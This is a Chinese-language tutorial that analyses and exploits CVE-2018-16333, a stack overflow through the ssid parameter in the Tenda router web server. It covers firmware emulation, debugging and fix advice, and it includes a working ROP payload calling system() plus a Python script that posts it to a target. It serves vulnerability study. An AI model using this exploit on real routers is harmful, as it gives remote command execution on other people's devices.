tenda_2018-16333详解
字数 1462 2025-08-05 00:16:03
Tenda路由器CVE-2018-16333漏洞分析与利用教程
漏洞概述
漏洞名称: Tenda路由器缓冲区溢出漏洞(CVE-2018-16333)
影响版本: 特定版本的Tenda路由器固件
漏洞类型: 栈缓冲区溢出
CVSS评分: 待补充
漏洞发现时间: 2018年
漏洞描述
在Tenda路由器的web服务器中存在一个缓冲区溢出漏洞。当处理POST请求中的ssid参数时,该值直接用于对栈上局部变量的sprintf调用,导致可以覆盖函数的返回地址,造成缓冲区溢出。
关键点:
- 漏洞位于
form_fast_setting_wifi_set函数中 - 通过
ssid参数触发 - 未对用户输入进行长度检查直接使用
strcpy - 存在两次
strcpy调用,第一次溢出会影响第二次调用的src指针
环境搭建
所需工具
-
固件分析工具:
- IDA Pro (用于逆向分析)
- Binwalk (用于固件提取)
-
调试环境:
- qemu-user-static (用户模式模拟)
- qemu-system-arm (系统模式模拟)
- gdb-multiarch (多架构调试)
-
网络配置工具:
- bridge-utils
- uml-utilities
固件提取
使用binwalk提取固件:
binwalk -Me firmware.bin
提取后的文件系统位于squashfs-root/目录。
QEMU用户模式调试
-
安装qemu-user-static:
sudo apt install qemu-user-static -
准备调试环境:
cp $(which qemu-arm-static) ./ sudo chroot ./ ./qemu-arm-static ./bin/httpd -
常见问题修复:
- 程序可能卡在check_network和ConnectCfm函数
- 使用IDA的keypatch插件修改函数返回值为1绕过检查
QEMU系统模式调试
-
下载必要文件:
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2 wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress -
启动虚拟机:
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress \ -initrd initrd.img-3.2.0-4-vexpress \ -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2 console=ttyAMA0" \ -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic -
配置网络:
ifconfig eth0 192.168.40.100 brctl addbr br0 ifconfig br0 192.168.40.200/24 up
漏洞分析
定位漏洞点
-
在IDA中搜索字符串"ssid":
- 使用快捷键ALT+T搜索字符串
- 通过交叉引用定位到
form_fast_setting_wifi_set函数
-
漏洞代码特征:
// 伪代码 char buffer[0x60]; strcpy(buffer, ssid_param); // 无长度检查的直接拷贝
溢出细节
- 第一次
strcpy会覆盖第二次strcpy的src指针 - 需要确保覆盖后的src指针是有效可读地址
- 通过精心构造的payload可以控制程序流程
利用思路
- 覆盖返回地址控制EIP
- 构造ROP链执行任意命令
- 关键gadget:
system函数地址- 控制R0和R3寄存器的gadget
漏洞利用
获取必要地址
- 获取libc基地址
- 计算关键函数偏移:
readelf -s ./lib/libc.so.0 | grep system ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3 ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
构造Payload
system = libc_base + 0x5A270
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload = 'a'*(0x60) + p32(readable_addr) + 'b'*(0x20-8)
payload += p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
触发漏洞
import requests
url = "http://target_ip/path_to_vuln"
cookie = {"Cookie": "password=12345"}
data = {"ssid": payload}
# 需要发送两次请求
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
调试技巧
用户模式调试
-
启动调试:
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd -
GDB连接:
gdb-multiarch -q ./bin/httpd set architecture arm target remote 127.0.0.1:1234
系统模式调试
-
准备gdbserver:
chmod 777 gdbserver-7.7.1-armhf-eabi5-v1-sysv ./gdbserver-7.7.1-armhf-eabi5-v1-sysv 0.0.0.0:1234 ./bin/httpd -
GDB连接:
gdb-multiarch -q ./bin/httpd set architecture arm target remote 192.168.40.100:1234
修复建议
- 对用户输入进行长度检查
- 使用安全的字符串函数如
strncpy替代strcpy - 启用栈保护机制(如CANARY)
- 限制特殊字符的输入
参考资源
附录
常见问题解决
-
程序启动卡住:
- 检查网络配置是否正确
- 使用IDA分析卡住的位置并patch相关函数
-
Libc基址问题:
- 关闭ASLR:
echo 0 > /proc/sys/kernel/randomize_va_space - 检查
/proc/[pid]/maps确认libc加载地址
- 关闭ASLR:
-
网络接口问题:
brctl addbr br0 brctl addif br0 ens33 ifconfig br0 up dhclient br0
实用命令
-
查看进程内存映射:
sudo cat /proc/$(pidof httpd)/maps -
搜索字符串:
- IDA中: ALT+T (文本), ALT+B (二进制)
- 命令行:
strings bin/httpd | grep ssid
-
交叉引用查找:
- 在IDA中按X查看对函数/变量的引用